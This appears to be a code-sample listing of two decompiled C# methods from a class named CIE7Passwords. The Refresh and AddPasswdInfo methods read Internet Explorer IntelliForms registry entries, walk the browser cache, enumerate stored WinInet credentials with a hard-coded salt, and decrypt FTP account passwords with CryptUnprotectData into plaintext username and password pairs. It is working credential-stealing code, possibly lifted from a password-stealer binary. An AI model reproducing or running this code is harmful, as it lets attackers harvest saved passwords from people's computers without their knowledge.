Example #1
0
        // Token: 0x0600010E RID: 270 RVA: 0x00002F24 File Offset: 0x00001124
        private void AddPasswdInfo(string strRess, int hKey)
        {
            strRess = Strings.LCase(strRess);
            byte[] bytes = Encoding.Unicode.GetBytes(strRess);
            string text  = this.GetSHA1Hash(ref bytes);

            text += Strings.Right("00" + Conversion.Hex(this.CheckSum(ref text)), 2);
            int num2;
            int num3;
            int num = CIE7Passwords.RegQueryValueEx(hKey, ref text, 0, ref num2, IntPtr.Zero, ref num3);

            if (num3 > 0)
            {
                IntPtr intPtr = Marshal.AllocHGlobal(num3);
                num = CIE7Passwords.RegQueryValueEx(hKey, ref text, 0, ref num2, intPtr, ref num3);
                CIE7Passwords.DATA_BLOB data_BLOB;
                data_BLOB.cbData = num3;
                data_BLOB.pbData = intPtr;
                CIE7Passwords.DATA_BLOB data_BLOB2;
                data_BLOB2.cbData = checked (Strings.Len(strRess) * 2 + 2);
                data_BLOB2.pbData = Marshal.StringToHGlobalUni(strRess);
                CIE7Passwords.DATA_BLOB dataOut;
                CIE7Passwords.CryptUnprotectData(ref data_BLOB, IntPtr.Zero, ref data_BLOB2, IntPtr.Zero, IntPtr.Zero, 0, ref dataOut);
                this.ProcessIEPass(strRess, text, dataOut);
                Marshal.FreeHGlobal(data_BLOB2.pbData);
                CIE7Passwords.LocalFree(dataOut.pbData);
            }
        }
Example #2
0
        // Token: 0x06000110 RID: 272 RVA: 0x0000305C File Offset: 0x0000125C
        public void Refresh()
        {
            Regex regex = new Regex("name=\"([^\"]+)\"", RegexOptions.Compiled);

            this.m_IEPass.Clear();
            int    hKey = -2147483647;
            string text = "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage1";
            int    num;

            CIE7Passwords.RegOpenKeyEx(hKey, ref text, 0, 131097, ref num);
            int hKey2 = -2147483647;

            text = "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2";
            int num2;

            CIE7Passwords.RegOpenKeyEx(hKey2, ref text, 0, 131097, ref num2);
            checked
            {
                if (num2 != 0 || num != 0)
                {
                    text = null;
                    int num4;
                    int num3 = CIE7Passwords.FindFirstUrlCacheEntry(ref text, IntPtr.Zero, ref num4);
                    if (num4 > 0)
                    {
                        IntPtr intPtr = Marshal.AllocHGlobal(num4);
                        Marshal.WriteInt32(intPtr, num4);
                        text = null;
                        num3 = CIE7Passwords.FindFirstUrlCacheEntry(ref text, intPtr, ref num4);
                        do
                        {
                            CIE7Passwords.INTERNET_CACHE_ENTRY_INFO internet_CACHE_ENTRY_INFO;
                            object obj = Marshal.PtrToStructure(intPtr, internet_CACHE_ENTRY_INFO.GetType());
                            CIE7Passwords.INTERNET_CACHE_ENTRY_INFO internet_CACHE_ENTRY_INFO2;
                            internet_CACHE_ENTRY_INFO = ((obj != null) ? ((CIE7Passwords.INTERNET_CACHE_ENTRY_INFO)obj) : internet_CACHE_ENTRY_INFO2);
                            if ((internet_CACHE_ENTRY_INFO.CacheEntryType & 2097153) != 0)
                            {
                                string text2 = this.GetStrFromPtrA(internet_CACHE_ENTRY_INFO.lpszSourceUrlName);
                                if (text2.IndexOf("?") >= 0)
                                {
                                    text2 = text2.Substring(0, text2.IndexOf("?"));
                                }
                                if (Strings.InStr(text2, "@", CompareMethod.Binary) > 0)
                                {
                                    text2 = Strings.Mid(text2, Strings.InStr(text2, "@", CompareMethod.Binary) + 1);
                                }
                                if (num != 0 && (internet_CACHE_ENTRY_INFO.CacheEntryType & 1) == 1)
                                {
                                    string strFromPtrA  = this.GetStrFromPtrA(internet_CACHE_ENTRY_INFO.lpHeaderInfo);
                                    string strFromPtrA2 = this.GetStrFromPtrA(internet_CACHE_ENTRY_INFO.lpszLocalFileName);
                                    if (string.IsNullOrEmpty(strFromPtrA) || !strFromPtrA.Contains("text/html"))
                                    {
                                        if (string.IsNullOrEmpty(strFromPtrA2))
                                        {
                                            goto IL_1F3;
                                        }
                                    }
                                    try
                                    {
                                        try
                                        {
                                            foreach (object obj2 in regex.Matches(File.ReadAllText(strFromPtrA2)))
                                            {
                                                Match match = (Match)obj2;
                                                this.AddPasswdInfo(match.Groups[1].Value, num);
                                            }
                                        }
                                        finally
                                        {
                                            IEnumerator enumerator;
                                            if (enumerator is IDisposable)
                                            {
                                                (enumerator as IDisposable).Dispose();
                                            }
                                        }
                                    }
                                    catch (Exception ex)
                                    {
                                    }
                                }
IL_1F3:
                                this.AddPasswdInfo(text2, num);
                                this.AddPasswdInfo(text2, num2);
                            }
                            num4 = 0;
                            CIE7Passwords.FindNextUrlCacheEntry(num3, IntPtr.Zero, ref num4);
                            Marshal.FreeHGlobal(intPtr);
                            if (num4 > 0)
                            {
                                intPtr = Marshal.AllocHGlobal(num4);
                                Marshal.WriteInt32(intPtr, num4);
                            }
                        }while (CIE7Passwords.FindNextUrlCacheEntry(num3, intPtr, ref num4) != 0);
                        CIE7Passwords.FindCloseUrlCache(num3);
                    }
                    CIE7Passwords.RegCloseKey(num);
                    CIE7Passwords.RegCloseKey(num2);
                }
                string lpszFilter = "Microsoft_WinInet_*";
                int    num5;
                int    num6;
                CIE7Passwords.CredEnumerate(lpszFilter, 0, ref num5, ref num6);
                short[] array = new short[37];
                CIE7Passwords.DATA_BLOB data_BLOB;
                CIE7Passwords.DATA_BLOB data_BLOB2;
                CIE7Passwords.DATA_BLOB data_BLOB3;
                if (num5 > 0)
                {
                    int num7 = 0;
                    int num8 = num5 - 1;
                    for (int i = num7; i <= num8; i++)
                    {
                        IntPtr ptr    = new IntPtr(num6 + i * 4);
                        IntPtr intPtr = Marshal.ReadIntPtr(ptr);
                        CIE7Passwords.CREDENTIAL credential;
                        object obj3 = Marshal.PtrToStructure(intPtr, credential.GetType());
                        CIE7Passwords.CREDENTIAL credential2;
                        credential = ((obj3 != null) ? ((CIE7Passwords.CREDENTIAL)obj3) : credential2);
                        string text3 = this.CopyString(credential.lpstrTargetName);
                        data_BLOB.cbData = 74;
                        intPtr           = Marshal.AllocHGlobal(74);
                        string str  = "abe2869f-9b47-4cd9-a358-c22904dba7f7\0";
                        int    num9 = 0;
                        do
                        {
                            Marshal.WriteInt16(intPtr, num9 * 2, (short)(Strings.Asc(Strings.Mid(str, num9 + 1, 1)) * 4));
                            num9++;
                        }while (num9 <= 36);
                        data_BLOB.pbData  = intPtr;
                        data_BLOB2.pbData = credential.lpbCredentialBlob;
                        data_BLOB2.cbData = credential.dwCredentialBlobSize;
                        data_BLOB3.cbData = 0;
                        data_BLOB3.pbData = IntPtr.Zero;
                        CIE7Passwords.CryptUnprotectData(ref data_BLOB2, IntPtr.Zero, ref data_BLOB, IntPtr.Zero, IntPtr.Zero, 0, ref data_BLOB3);
                        Marshal.FreeHGlobal(intPtr);
                        string   expression = Marshal.PtrToStringUni(data_BLOB3.pbData);
                        string[] array2     = Strings.Split(expression, ":", -1, CompareMethod.Binary);
                        int      num10      = Strings.InStr(Strings.Mid(text3, 19), "/", CompareMethod.Binary);
                        if (num10 > 0)
                        {
                            this.m_IEPass.Add(new CIE7Password(text3, Strings.Mid(text3, 19, num10 - 1), array2[0], array2[1], DateTime.MinValue, 2, Strings.Mid(text3, 19 + num10)));
                        }
                        else
                        {
                            this.m_IEPass.Add(new CIE7Password(text3, Strings.Mid(text3, 19), array2[0], array2[1], DateTime.MinValue, 2, string.Empty));
                        }
                        CIE7Passwords.LocalFree(data_BLOB3.pbData);
                    }
                }
                CIE7Passwords.CredFree(num6);
                RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\FTP\\Accounts");
                if (registryKey != null)
                {
                    foreach (string text4 in registryKey.GetSubKeyNames())
                    {
                        RegistryKey registryKey2 = registryKey.OpenSubKey(text4);
                        foreach (string text5 in registryKey2.GetSubKeyNames())
                        {
                            RegistryKey registryKey3 = registryKey2.OpenSubKey(text5);
                            byte[]      array3       = (byte[])registryKey3.GetValue("Password");
                            byte[]      array4       = new byte[4];
                            int         num11        = 0;
                            int         num12        = text4.Length - 1;
                            for (int l = num11; l <= num12; l++)
                            {
                                byte b = (byte)(text4[l] & '\u001f');
                                array4[l & 3] = unchecked (array4[l & 3] + b);
                            }
                            data_BLOB2.cbData = array3.Length;
                            data_BLOB2.pbData = Marshal.AllocHGlobal(array3.Length);
                            Marshal.Copy(array3, 0, data_BLOB2.pbData, array3.Length);
                            data_BLOB3.cbData = 0;
                            data_BLOB3.pbData = IntPtr.Zero;
                            GCHandle gchandle = GCHandle.Alloc(array4, GCHandleType.Pinned);
                            data_BLOB.pbData = gchandle.AddrOfPinnedObject();
                            data_BLOB.cbData = 4;
                            CIE7Passwords.CryptUnprotectData(ref data_BLOB2, IntPtr.Zero, ref data_BLOB, IntPtr.Zero, IntPtr.Zero, 0, ref data_BLOB3);
                            gchandle.Free();
                            this.m_IEPass.Add(new CIE7Password(text4, string.Format("ftp://{0}@{1}/", text4, text5), text5, Marshal.PtrToStringUni(data_BLOB3.pbData), DateTime.MinValue, 3, string.Empty));
                            CIE7Passwords.LocalFree(data_BLOB3.pbData);
                        }
                    }
                }
            }
        }